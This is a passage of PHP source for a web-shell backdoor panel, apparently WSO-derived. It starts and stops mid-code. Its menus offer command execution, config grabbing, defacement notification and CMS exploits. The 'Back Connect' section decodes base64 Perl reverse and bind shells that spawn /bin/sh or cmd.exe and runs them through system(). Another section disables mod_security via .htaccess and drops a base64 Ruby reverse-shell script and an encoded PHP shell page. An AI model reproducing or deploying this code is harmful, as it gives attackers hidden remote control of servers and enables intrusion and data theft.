echo \'<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">\'; 
$line = 1; 
while($item = $db->fetch())  { 
if(!$title) { 
echo \'<tr>\'; 
foreach($item as $key => $value) 
echo \'<th>\'.$key.\'</th>\'; 
reset($item); 
$title=true; 
echo \'</tr><tr>\'; 
$line = 2; 
} 
echo \'<tr class="l\'.$line.\'">\'; 
$line = $line==1?2:1; 
foreach($item as $key => $value) { 
if($value == null) 
echo \'<td><i>null</i></td>\'; 
else
echo \'<td>\'.nl2br(htmlspecialchars($value)).\'</td>\'; 
} 
echo \'</tr>\'; 
} 
echo \'</table>\'; 
} else { 
echo \'<div><b>Error:</b> \'.htmlspecialchars($db->error()).\'</div>\'; 
} 
} 
echo "<br></form><form onsubmit=\'d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;\'><textarea name=\'query\' style=\'width:100%;height:100px\'>"; 
if(!empty($_POST[\'p2\']) && ($_POST[\'p1\'] != \'loadfile\')) 
echo htmlspecialchars($_POST[\'p2\']); 
echo "</textarea><br/><input type=submit value=\'Execute\'>"; 
echo "</td></tr>"; 
} 
echo "</table></form></center><br/>"; 
if($_POST[\'type\']==\'mysql\') { 
$db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, \'@\', `host`) = USER() AND `File_priv` = \'y\'"); 
if($db->fetch()) 
echo "<form onsubmit=\'d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;\'><span>Load file</span> <input  class=\'toolsInp\' type=text name=f><input type=submit value=\'>>\'></form>"; 
} 
if(@$_POST[\'p1\'] == \'loadfile\') { 
$file = $db->loadFile($_POST[\'p2\']); 
echo \'<pre class=ml1>\'.htmlspecialchars($file[\'file\']).\'</pre>\'; 
} 
} else { 
echo htmlspecialchars($db->error()); 
} 
echo \'</div>\'; 
wsoFooter(); 
} 

if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'beko\'){
echo \'<center><b class="conte">
<a href="?action=mysqslsls">MySQL & PostgreSql Connect</a> -
<a href="?action=cmd">Command Execution</a> -
<a href="?action=com64">Base64 Command</a> -
<a href="?action=vgrab">Config Grabber</a> -
<a href="?action=subdomainchkrezes">Subdomain Checker</a> -
<a href="?action=joomlarvrssrvetll">Joomla Reverse Server</a> -    
<a href="?action=wordddprssrrrvrse">Wordpress Reverse Server</a> -
<a href="?action=cari">Find Directory Writable/Readable</a> -
<a href="?action=zonh">Zone-h Notifier</a> -
<a href="?action=shhhshell">Shtml Command Shell</a> -
<a href="?action=beko">Back connect Simple</a> -
<a href="?action=rubybckconnnect">Ruby BackConnect</a> -
<a href="?action=prlbckacnonect">Perl BackConnect</a> -
<a href="?action=pythnonbakcncete">Python BackConnect</a> -
<a href="?action=exploit">Exploit</a> -
<a href="?action=whmcskillrer">Whcms Killer</a> -
<a href="?action=webmllllpwdchnger">Webmail Password Changer</a> -
<a href="?action=wpcdrfex">Wordpress Csrf Exploit</a>
</center>
</b>\';
echo \'<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Back Connect</span><center><br>\';
if ($_REQUEST[\'cdirname\']){
if(mkdir($_REQUEST[\'cdirname\'],"0777")){alert("Directory Created !");}else{alert("Permission Denied !");}}
function bcn($ipbc,$pbc){
$bcperl="IyEvdXNyL2Jpbi9wZXJsCiMgQ29ubmVjdEJhY2tTaGVsbCBpbiBQZXJsLiBTaGFkb3cxMjAgLSB3
NGNrMW5nLmNvbQoKdXNlIFNvY2tldDsKCiRob3N0ID0gJEFSR1ZbMF07CiRwb3J0ID0gJEFSR1Zb
MV07CgogICAgaWYgKCEkQVJHVlswXSkgewogIHByaW50ZiAiWyFdIFVzYWdlOiBwZXJsIHNjcmlw
dC5wbCA8SG9zdD4gPFBvcnQ+XG4iOwogIGV4aXQoMSk7Cn0KcHJpbnQgIlsrXSBDb25uZWN0aW5n
IHRvICRob3N0XG4iOwokcHJvdCA9IGdldHByb3RvYnluYW1lKCd0Y3AnKTsgIyBZb3UgY2FuIGNo
YW5nZSB0aGlzIGlmIG5lZWRzIGJlCnNvY2tldChTRVJWRVIsIFBGX0lORVQsIFNPQ0tfU1RSRUFN
LCAkcHJvdCkgfHwgZGllICgiWy1dIFVuYWJsZSB0byBDb25uZWN0ICEiKTsKaWYgKCFjb25uZWN0
KFNFUlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsIGluZXRfYXRvbigkaG9zdCkpKSB7ZGll
KCJbLV0gVW5hYmxlIHRvIENvbm5lY3QgISIpO30KICBvcGVuKFNURElOLCI+JlNFUlZFUiIpOwog
IG9wZW4oU1RET1VULCI+JlNFUlZFUiIpOwogIG9wZW4oU1RERVJSLCI+JlNFUlZFUiIpOwogIGV4
ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAuICJcMCIgeCA0Ow==";
$opbc=fopen("bcc.pl","w");
fwrite($opbc,base64_decode($bcperl));
fclose($opbc);
system("perl bcc.pl $ipbc $pbc") or die("I Can Not Execute Command For Back Connect Disable_functions Or Safe Mode");
}
function wbp($wb){
$wbp="dXNlIFNvY2tldDsKJHBvcnQJPSAkQVJHVlswXTsKJHByb3RvCT0gZ2V0cHJvdG9ieW5hbWUoJ3Rj
cCcpOwpzb2NrZXQoU0VSVkVSLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKTsKc2V0c29j
a29wdChTRVJWRVIsIFNPTF9TT0NLRVQsIFNPX1JFVVNFQUREUiwgcGFjaygibCIsIDEpKTsKYmlu
ZChTRVJWRVIsIHNvY2thZGRyX2luKCRwb3J0LCBJTkFERFJfQU5ZKSk7Cmxpc3RlbihTRVJWRVIs
IFNPTUFYQ09OTik7CmZvcig7ICRwYWRkciA9IGFjY2VwdChDTElFTlQsIFNFUlZFUik7IGNsb3Nl
IENMSUVOVCkKewpvcGVuKFNURElOLCAiPiZDTElFTlQiKTsKb3BlbihTVERPVVQsICI+JkNMSUVO
VCIpOwpvcGVuKFNUREVSUiwgIj4mQ0xJRU5UIik7CnN5c3RlbSgnY21kLmV4ZScpOwpjbG9zZShT
VERJTik7CmNsb3NlKFNURE9VVCk7CmNsb3NlKFNUREVSUik7Cn0g";
$opwb=fopen("wbp.pl","w");
fwrite($opwb,base64_decode($wbp));
fclose($opwb);
echo getcwd();
system("perl wbp.pl $wb") or die("I Can Not Execute Command For Back Connect Disable_functions Or Safe Mode");
}
function lbp($wb){
$lbp="IyEvdXNyL2Jpbi9wZXJsCnVzZSBTb2NrZXQ7JHBvcnQ9JEFSR1ZbMF07JHByb3RvPWdldHByb3Rv
YnluYW1lKCd0Y3AnKTskY21kPSJscGQiOyQwPSRjbWQ7c29ja2V0KFNFUlZFUiwgUEZfSU5FVCwg
U09DS19TVFJFQU0sICRwcm90byk7c2V0c29ja29wdChTRVJWRVIsIFNPTF9TT0NLRVQsIFNPX1JF
VVNFQUREUiwgcGFjaygibCIsIDEpKTtiaW5kKFNFUlZFUiwgc29ja2FkZHJfaW4oJHBvcnQsIElO
QUREUl9BTlkpKTtsaXN0ZW4oU0VSVkVSLCBTT01BWENPTk4pO2Zvcig7ICRwYWRkciA9IGFjY2Vw
dChDTElFTlQsIFNFUlZFUik7IGNsb3NlIENMSUVOVCl7b3BlbihTVERJTiwgIj4mQ0xJRU5UIik7
b3BlbihTVERPVVQsICI+JkNMSUVOVCIpO29wZW4oU1RERVJSLCAiPiZDTElFTlQiKTtzeXN0ZW0o
Jy9iaW4vc2gnKTtjbG9zZShTVERJTik7Y2xvc2UoU1RET1VUKTtjbG9zZShTVERFUlIpO30g";
$oplb=fopen("lbp.pl","w");
fwrite($oplb,base64_decode($lbp));
fclose($oplb);
system("perl lbp.pl $wb") or die("I Can Not Execute Command For Back Connect Disable_functions Or Safe Mode");
}

if($_REQUEST[\'portbw\']){
wbp($_REQUEST[\'portbw\']);

}if($_REQUEST[\'portbl\']){
lbp($_REQUEST[\'portbl\']);
}
if($_REQUEST[\'ipcb\'] && $_REQUEST[\'portbc\']){
bcn($_REQUEST[\'ipcb\'],$_REQUEST[\'portbc\']);

}
echo "<p align=\'center\'><font face=\'Tahoma\' color=\'#007700\' size=\'2pt\' /><p align=\'center\'><br>Ip : <input type=text name=ipcb value=".$_SERVER[\'REMOTE_ADDR\'] ."> Port : <input type=text name=portbc value=5555> <input type=submit value=Connect></form>".$formp."<p align=\'center\'><p align=\'center\'><br><font face=\'Tahoma\' color=\'#009900\' size=\'2pt\'> Windows Bind Port</font> <br>Port : <input type=text name=portbw value=5555> <input type=submit value=Connect></form>".$formp."<p align=\'center\'> <br><font face=\'Tahoma\' color=\'#009900\' size=\'2pt\'>Linux Bind Port</font> <br>Port : <input type=text name=portbl value=5555> <input type=submit value=Connect></form><br><br>".$end;exit;
}
if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'rubybckconnnect\'){
echo \'<center><b class="conte">
<a href="?action=mysqslsls">MySQL & PostgreSql Connect</a> -
<a href="?action=cmd">Command Execution</a> -
<a href="?action=com64">Base64 Command</a> -
<a href="?action=vgrab">Config Grabber</a> -
<a href="?action=subdomainchkrezes">Subdomain Checker</a> -
<a href="?action=joomlarvrssrvetll">Joomla Reverse Server</a> -    
<a href="?action=wordddprssrrrvrse">Wordpress Reverse Server</a> -
<a href="?action=cari">Find Directory Writable/Readable</a> -
<a href="?action=zonh">Zone-h Notifier</a> -
<a href="?action=shhhshell">Shtml Command Shell</a> -
<a href="?action=beko">Back connect Simple</a> -
<a href="?action=rubybckconnnect">Ruby BackConnect</a> -
<a href="?action=prlbckacnonect">Perl BackConnect</a> -
<a href="?action=pythnonbakcncete">Python BackConnect</a> -
<a href="?action=exploit">Exploit</a> -
<a href="?action=whmcskillrer">Whcms Killer</a> -
<a href="?action=webmllllpwdchnger">Webmail Password Changer</a> -
<a href="?action=wpcdrfex">Wordpress Csrf Exploit</a>
</center>
</b>\';
mkdir(\'rubrub\', 0755);
chdir(\'rubrub\');
$antinoooob = ".htaccess";
$morethannn = "$antinoooob";
$diamondd = fopen ($morethannn , \'w\') or die ("diamondd a&#231;&#305;lamad&#305;!");
$gloryr = "<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
</IfModule>";    
fwrite ( $diamondd , $gloryr ) ;
fclose ($diamondd);
//extract ruby reverse script
$vkffhd = \'cmVxdWlyZSAnc29ja2V0Jw0KcmVxdWlyZSAncGF0aG5hbWUnDQogDQpkZWYgdXNhZ2UNCiAgICAgICAgcHJpbnQgImJpbmQgOlxyXG4gIHJ1YnkgIiArIEZpbGUuYmFzZW5hbWUoX19GSUxFX18pICsgIiBbcG9ydF1cclxuIg0KICAgICAgICBwcmludCAicmV2ZXJzZSA6XHJcbiAgcnVieSAiICsgRmlsZS5iYXNlbmFtZShfX0ZJTEVfXykgKyAiIFtwb3J0XSBbaG9zdF1cclxuIg0KZW5kDQogDQpkZWYgc3Vja3MNCiAgICAgICAgc3Vja3MgPSBmYWxzZQ0KICAgICAgICBpZiBSVUJZX1BMQVRGT1JNLmRvd25jYXNlLm1hdGNoKCdtc3dpbnx3aW58bWluZ3cnKQ0KICAgICAgICAgICAgICAgIHN1Y2tzID0gdHJ1ZQ0KICAgICAgICBlbmQNCiAgICAgICAgcmV0dXJuIHN1Y2tzDQplbmQNCiANCmRlZiByZWFscGF0aChzdHIpDQogICAgICAgIHJlYWwgPSBzdHINCiAgICAgICAgaWYgRmlsZS5leGlzdHM/KHN0cikNCiAgICAgICAgICAgICAgICBkID0gUGF0aG5hbWUubmV3KHN0cikNCiAgICAgICAgICAgICAgICByZWFsID0gZC5yZWFscGF0aC50b19zDQogICAgICAgIGVuZA0KICAgICAgICBpZiBzdWNrcw0KICAgICAgICAgICAgICAgIHJlYWwgPSByZWFsLmdzdWIoL1wvLywiXFwiKQ0KICAgICAgICBlbmQNCiAgICAgICAgcmV0dXJuIHJlYWwNCmVuZA0KIA0KaWYgQVJHVi5sZW5ndGggPT0gMQ0KICAgICAgICBpZiBBUkdWWzBdID1+IC9eWzAtOV17MSw1fSQvDQogICAgICAgICAgICAgICAgcG9ydCA9IEludGVnZXIoQVJHVlswXSkNCiAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgIHVzYWdlDQogICAgICAgICAgICAgICAgcHJpbnQgIlxyXG4qKiogZXJyb3IgOiBQbGVhc2UgaW5wdXQgYSB2YWxpZCBwb3J0XHJcbiINCiAgICAgICAgICAgICAgICBleGl0DQogICAgICAgIGVuZA0KICAgICAgICBzZXJ2ZXIgPSBUQ1BTZXJ2ZXIubmV3KCIiLCBwb3J0KQ0KICAgICAgICBzID0gc2VydmVyLmFjY2VwdA0KICAgICAgICBwb3J0ID0gcy5wZWVyYWRkclsxXQ0KICAgICAgICBuYW1lID0gcy5wZWVyYWRkclsyXQ0KICAgICAgICBzLnByaW50ICIqKiogY29ubmVjdGVkXHJcbiINCiAgICAgICAgcHV0cyAiKioqIGNvbm5lY3RlZCA6ICN7bmFtZX06I3twb3J0fVxyXG4iDQogICAgICAgIGJlZ2luDQogICAgICAgICAgICAgICAgaWYgbm90IHN1Y2tzDQogICAgICAgICAgICAgICAgICAgICAgICBmID0gcy50b19pDQogICAgICAgICAgICAgICAgICAgICAgICBleGVjIHNwcmludGYoIi9iaW4vc2ggLWkgXDxcJiVkIFw+XCYlZCAyXD5cJiVkIixmLGYsZikNCiAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgICAgICAgICBzLnByaW50ICJcclxuIiArIHJlYWxwYXRoKCIuIikgKyAiPiINCiAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlIGxpbmUgPSBzLmdldHMNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmFpc2UgZXJyb3JCcm8gaWYgbGluZSA9fiAvXmRpZVxyrbQvDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIG5vdCBsaW5lLmNob21wID09ICIiDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgbGluZSA9fiAvY2QgLiovaQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbGluZSA9IGxpbmUuZ3N1YigvY2QgL2ksICcnKS5jaG9tcA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgRmlsZS5kaXJlY3Rvcnk/KGxpbmUpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxpbmUgPSByZWFscGF0aChsaW5lKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEaXIuY2hkaXIobGluZSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVuZA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcy5wcmludCAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4iDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzaWYgbGluZSA9fiAvXHc6LiovaQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgRmlsZS5kaXJlY3Rvcnk/KGxpbmUuY2hvbXApDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIERpci5jaGRpcihsaW5lLmNob21wKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZW5kDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzLnByaW50ICJcclxuIiArIHJlYWxwYXRoKCIuIikgKyAiPiINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBJTy5wb3BlbihsaW5lLCJyIil7fGlvfHMucHJpbnQgaW8ucmVhZCArICJcclxuIiArIHJlYWxwYXRoKCIuIikgKyAiPiJ9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZW5kDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVuZA0KICAgICAgICAgICAgICAgICAgICAgICAgZW5kDQogICAgICAgICAgICAgICAgZW5kDQogICAgICAgIHJlc2N1ZSBlcnJvckJybw0KICAgICAgICAgICAgICAgIHB1dHMgIioqKiAje25hbWV9OiN7cG9ydH0gZGlzY29ubmVjdGVkIg0KICAgICAgICBlbnN1cmUNCiAgICAgICAgICAgICAgICBzLmNsb3NlDQogICAgICAgICAgICAgICAgcyA9IG5pbA0KICAgICAgICBlbmQNCmVsc2lmIEFSR1YubGVuZ3RoID09IDINCiAgICAgICAgaWYgQVJHVlswXSA9fiAvXlswLTldezEsNX0kLw0KICAgICAgICAgICAgICAgIHBvcnQgPSBJbnRlZ2VyKEFSR1ZbMF0pDQogICAgICAgICAgICAgICAgaG9zdCA9IEFSR1ZbMV0NCiAgICAgICAgZWxzaWYgQVJHVlsxXSA9fiAvXlswLTldezEsNX0kLw0KICAgICAgICAgICAgICAgIHBvcnQgPSBJbnRlZ2VyKEFSR1ZbMV0pDQogICAgICAgICAgICAgICAgaG9zdCA9IEFSR1ZbMF0NCiAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgIHVzYWdlDQogICAgICAgICAgICAgICAgcHJpbnQgIlxyXG4qKiogZXJyb3IgOiBQbGVhc2UgaW5wdXQgYSB2YWxpZCBwb3J0XHJcbiINCiAgICAgICAgICAgICAgICBleGl0DQogICAgICAgIGVuZA0KICAgICAgICBzID0gVENQU29ja2V0Lm5ldygiI3tob3N0fSIsIHBvcnQpDQogICAgICAgIHBvcnQgPSBzLnBlZXJhZGRyWzFdDQogICAgICAgIG5hbWUgPSBzLnBlZXJhZGRyWzJdDQogICAgICAgIHMucHJpbnQgIioqKiBjb25uZWN0ZWRcclxuIg0KICAgICAgICBwdXRzICIqKiogY29ubmVjdGVkIDogI3tuYW1lfToje3BvcnR9Ig0KICAgICAgICBiZWdpbg0KICAgICAgICAgICAgICAgIGlmIG5vdCBzdWNrcw0KICAgICAgICAgICAgICAgICAgICAgICAgZiA9IHMudG9faQ0KICAgICAgICAgICAgICAgICAgICAgICAgZXhlYyBzcHJpbnRmKCIvYmluL3NoIC1pIFw8XCYlZCBcPlwmJWQgMlw+XCYlZCIsIGYsIGYsIGYpDQogICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgcy5wcmludCAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4iDQogICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSBsaW5lID0gcy5nZXRzDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJhaXNlIGVycm9yQnJvIGlmIGxpbmUgPX4gL15kaWVccj8kLw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiBub3QgbGluZS5jaG9tcCA9PSAiIg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIGxpbmUgPX4gL2NkIC4qL2kNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxpbmUgPSBsaW5lLmdzdWIoL2NkIC9pLCAnJykuY2hvbXANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIEZpbGUuZGlyZWN0b3J5rbhsaW5lKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsaW5lID0gcmVhbHBhdGgobGluZSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRGlyLmNoZGlyKGxpbmUpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbmQNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHMucHJpbnQgIlxyXG4iICsgcmVhbHBhdGgoIi4iKSArICI+Ig0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2lmIGxpbmUgPX4gL1x3Oi4qL2kNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIEZpbGUuZGlyZWN0b3J5rbhsaW5lLmNob21wKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEaXIuY2hkaXIobGluZS5jaG9tcCkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVuZA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcy5wcmludCAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4iDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSU8ucG9wZW4obGluZSwiciIpe3xpb3xzLnByaW50IGlvLnJlYWQgKyAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4ifQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVuZA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbmQNCiAgICAgICAgICAgICAgICAgICAgICAgIGVuZA0KICAgICAgICAgICAgICAgIGVuZA0KICAgICAgICByZXNjdWUgZXJyb3JCcm8NCiAgICAgICAgICAgICAgICBwdXRzICIqKiogI3tuYW1lfToje3BvcnR9IGRpc2Nvbm5lY3RlZCINCiAgICAgICAgZW5zdXJlDQogICAgICAgICAgICAgICAgcy5jbG9zZQ0KICAgICAgICAgICAgICAgIHMgPSBuaWwNCiAgICAgICAgZW5kDQplbHNlDQogICAgICAgIHVzYWdlDQogICAgICAgIGV4aXQNCmVuZA==\';

$cvcvcv = fopen("revbackk.rb" ,"w+");
$write = fwrite ($cvcvcv ,base64_decode($vkffhd));
fclose($cvcvcv);
chmod("revbackk.rb",0755);

//extract php command shell
$merdeeeee = \'PGh0bWw+PGhlYWQ+PHRpdGxlPkFub25HaG9zdCBSdWJ5IEJhY2sgQ29ubmVjdCBTaGVsbDwvdGl0bGU+PGxpbmsgcmVsPSJzaG9ydGN1dCBpY29uIiBocmVmPSJodHRwOi8vd3d3MTQuMHp6MC5jb20vMjAxNC8wNi8wNC8yMS8zOTY1NTQzOTQucG5nIiB0eXBlPSJpbWFnZS94LWljb24iIC8+PHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCmJvZHl7IGJhY2tncm91bmQtY29sb3I6ICMyMjIyMjIgIWltcG9ydGFudDsgY29sb3I6ICMwMDk5MDA7IHRleHQtc2hhZG93OiMwMDAgMHB4IDJweCA3cHg7fSAgICAgIGF7dGV4dC1kZWNvcmF0aW9uOm5vbmU7IGZvbnQtZmFtaWx5OiBUYWhvbWEsIEdlbmV2YTsgY29sb3I6IzAwNzcwMDsgcGFkZGluZzoycHggMnB4O30gICAgICBhOmhvdmVye2NvbG9yOiMwMDk5MDA7IHRleHQtc2hhZG93OiMwMGZmMDAgMHB4IDBweCAzcHg7fQkgIC5hcmVhIHsgY29sb3I6ICMwMGJiMDA7IGZvbnQtc2l6ZTogOXB0OyB0ZXh0LXNoYWRvdzojMDAwMDAwIDBweCAycHggN3B4OyBib3JkZXI6IHNvbGlkIDBweCAjMDA3NzAwOyBiYWNrZ3JvdW5kLWNvbG9yOnRyYW5zcGFyZW50OyBib3gtc2hhZG93OiAwcHggMHB4IDRweCAjMDA5OTAwOyAgICBwYWRkaW5nOiAzcHg7ICAgLXdlYmtpdC1ib3JkZXItcmFkaXVzOiA0cHg7ICAgLW1vei1ib3JkZXItcmFkaXVzOiA0cHg7ICAgYm9yZGVyLXJhZGl1czogNHB4OyAgIC13ZWJraXQtYm94LXNoYWRvdzogcmdiKDAsMTE5LDApIDBweCAwcHggNHB4OyAgIC1tb3otYm94LXNoYWRvdzogcmdiKDAsMTE5LDApIDBweCAwcHggNHB4OyB9CSAgaW5wdXRbdHlwZT1zdWJtaXRdeyBwYWRkaW5nOiAzcHg7IGNvbG9yOiAjMDA3NzA7ICBmb250LXdlaWdodDogYm9sZDsgdGV4dC1hbGlnbjogY2VudGVyOyAgdGV4dC1zaGFkb3c6IDAgMXB4IHJnYmEoMjU1LCAyNTUsIDI1NSwgMC4zKTsgIGJhY2tncm91bmQ6ICNhZWFlYWU7ICBiYWNrZ3JvdW5kLWNsaXA6IHBhZGRpbmctYm94OyAgYm9yZGVyOiAxcHggc29saWQgIzI4NDQ3MzsgIGJvcmRlci1ib3R0b20tY29sb3I6ICMyMjNiNjY7ICBib3JkZXItcmFkaXVzOiA0cHg7ICBjdXJzb3I6IHBvaW50ZXI7ICBiYWNrZ3JvdW5kLWltYWdlOi13ZWJraXQtbGluZWFyLWdyYWRpZW50KHRvcCwgI2VhZWFlYSwgI2QwZDBkMCk7ICBiYWNrZ3JvdW5kLWltYWdlOiAtbW96LWxpbmVhci1ncmFkaWVudCh0b3AsICNlYWVhZWEsICNkMGQwZDApOyAgYmFja2dyb3VuZC1pbWFnZTogLW8tbGluZWFyLWdyYWRpZW50KHRvcCwgI2VhZWFlYSwgI2QwZDBkMCk7ICBiYWNrZ3JvdW5kLWltYWdlOiBsaW5lYXItZ3JhZGllbnQodG8gYm90dG9tLCAjZWFlYWVhLCAjZDBkMGQwKTsgIC13ZWJraXQtYm94LXNoYWRvdzogaW5zZXQgMCAxcHggcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjUpLCBpbnNldCAwIDAgN3B4IHJnYmEoMjU1LCAyNTUsIDI1NSwgMC40KSwgMCAxcHggMXB4IHJnYmEoMCwgMCwgMCwgMC4xNSk7ICBib3gtc2hhZG93OiBpbnNldCAwIDFweCByZ2JhKDI1NSwgMjU1LCAyNTUsIDAuNSksIGluc2V0IDAgMCA3cHggcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjQpLCAwIDFweCAxcHggcmdiYSgwLCAwLCAwLCAwLjE1KTsgfSBpbnB1dFt0eXBlPXRleHRdeyBwYWRkaW5nOiAzcHg7IGNvbG9yOiAjMDA5OTAwOyB0ZXh0LXNoYWRvdzogIzc3Nzc3NyAwcHggMHB4IDNweDsgYm9yZGVyOiAxcHggc29saWQgIzAwNzcwMDsgYmFja2dyb3VuZDogdHJhbnNwYXJlbnQ7IGJveC1zaGFkb3c6IDBweCAwcHggNHB4ICMwMDc3MDA7ICAgIHBhZGRpbmc6IDNweDsgICAtd2Via2l0LWJvcmRlci1yYWRpdXM6IDRweDsgICAtbW96LWJvcmRlci1yYWRpdXM6IDRweDsgICBib3JkZXItcmFkaXVzOiA0cHg7ICAgLXdlYmtpdC1ib3gtc2hhZG93OiByZ2IoODUsODUsODUpIDBweCAwcHggNHB4OyAgIC1tb3otYm94LXNoYWRvdzogcmdiKDg1LDg1LDg1KSAwcHggMHB4IDRweDt9IGlucHV0W3R5cGU9c3VibWl0XTpob3ZlciwgaW5wdXRbdHlwZT10ZXh0XTpob3ZlcnsgY29sb3I6ICNmZmZmZmY7IHRleHQtc2hhZG93OiAjMDA2NjAwIDBweCAwcHggNHB4OyBib3gtc2hhZG93OiAwcHggMHB4IDRweCAjMDBkZDAwOyBib3JkZXI6IDFweCBzb2xpZCAjMDBkZDAwOyAgICBwYWRkaW5nOiAzcHg7ICAgLXdlYmtpdC1ib3JkZXItcmFkaXVzOiA0cHg7ICAgLW1vei1ib3JkZXItcmFkaXVzOiA0cHg7ICAgYm9yZGVyLXJhZGl1czogNHB4OyAgIC13ZWJraXQtYm94LXNoYWRvdzogcmdiYSgwLDExOSwwKSAwcHggMHB4IDRweDsgICAtbW96LWJveC1zaGFkb3c6IHJnYmEoMCwxMTksMCkgMHB4IDBweCA0cHg7fSBzZWxlY3R7IHBhZGRpbmc6IDNweDsgd2lkdGg6IDE2MnB4OyBjb2xvcjogIzAwYWEwMDsgdGV4dC1zaGFkb3c6IzAwMCAwcHggMnB4IDdweDsgYm9yZGVyOiAxcHggc29saWQgIzAwNzcwMDsgYmFja2dyb3VuZDogdHJhbnNwYXJlbnQ7IHRleHQtZGVjb3JhdGlvbjogbm9uZTsgYm94LXNoYWRvdzogMHB4IDBweCA0cHggIzAwYWEwMDsgIHBhZGRpbmc6IDNweDsgICAtd2Via2l0LWJvcmRlci1yYWRpdXM6IDRweDsgICAtbW96LWJvcmRlci1yYWRpdXM6IDRweDsgICBib3JkZXItcmFkaXVzOiA0cHg7ICAgLXdlYmtpdC1ib3gtc2hhZG93OiByZ2IoODUsIDg1LCA4NSkgMHB4IDBweCA0cHg7ICAgLW1vei1ib3gtc2hhZG93OiByZ2IoODUsIDg1LCA4NSkgMHB4IDBweCA0cHg7fSBzZWxlY3Q6aG92ZXJ7IGJvcmRlcjogMXB4IHNvbGlkICMwMGRkMDA7IGJveC1zaGFkb3c6IDBweCAwcHggNHB4ICMwMGRkMDA7ICAgcGFkZGluZzogM3B4OyAgIC13ZWJraXQtYm9yZGVyLXJhZGl1czogNHB4OyAgIC1tb3otYm9yZGVyLXJhZGl1czogNHB4OyAgIGJvcmRlci1yYWRpdXM6IDRweDsgICAtd2Via2l0LWJveC1zaGFkb3c6IHJnYmEoMCwxMTksMCkgMHB4IDBweCA0cHg7ICAgLW1vei1ib3gtc2hhZG93OiByZ2JhKDAsMTE5LDApIDBweCAwcHggNHB4O30gICAjY29tbWFuZHN7IG1hcmdpbi1s